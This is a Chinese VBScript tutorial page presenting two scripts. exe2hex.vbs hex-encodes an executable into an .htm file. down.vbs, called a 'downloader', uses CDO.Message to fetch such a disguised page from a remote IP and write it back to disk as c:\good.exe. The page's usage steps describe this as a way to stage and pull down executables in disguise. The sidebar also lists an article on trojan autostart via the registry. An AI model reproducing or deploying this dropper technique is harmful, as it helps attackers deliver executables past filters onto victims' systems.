繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > VBS 下载方法(CDO.MESSAGE)
- VBScript
- 用VBScript批量安装网络打印机和设置默认打印机
- Vbs 脚本编程简明教程之一
- vbs SendKey 用法 Sendkey 键盘对应的码表
- 用vbs 取得收藏夹里的所有链接名称和URL的脚本
- link-view.vbs 页面链接查看
- VBS读网页的代码
- 用VBScript写合并文本文件的脚本
- vbscript ms owc 封裝代码
- VbScript 封裝MS OWC(二)
- vbs 注册表操作代码(添加删除)
- 用于修复XP中最小化程序 在任务栏显示图标的vbs脚本
- 完整的注册表操作实例 VBS脚本
- vbs 注册表实现木马自启动
- reg2vbs.vbs 将Reg文件转换为VBS文件保存 IT学习网修正版本
- e是自然对数的底 e.vbs
- vbs imail 密码解密
- VBS Runas 自动输入密码, 明文
- vbscript 三个数比较大小的实现代码
- 脚本 MsAgent组件 微软精灵 揪出系统自带的宠物
- VBS InternetExplorer.Application的属性和方法介绍
VBScript 中的 VBS 下载方法(CDO.MESSAGE)
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 117 ::
收藏到网摘: n/a
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制
================================================
复制代码 代码如下:
'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function
======================================
下载者 down.vbs
=============
复制代码 代码如下:
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法：
1.exe2hex.vbs 把exe转成十六进制，放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe
评论 (0) All
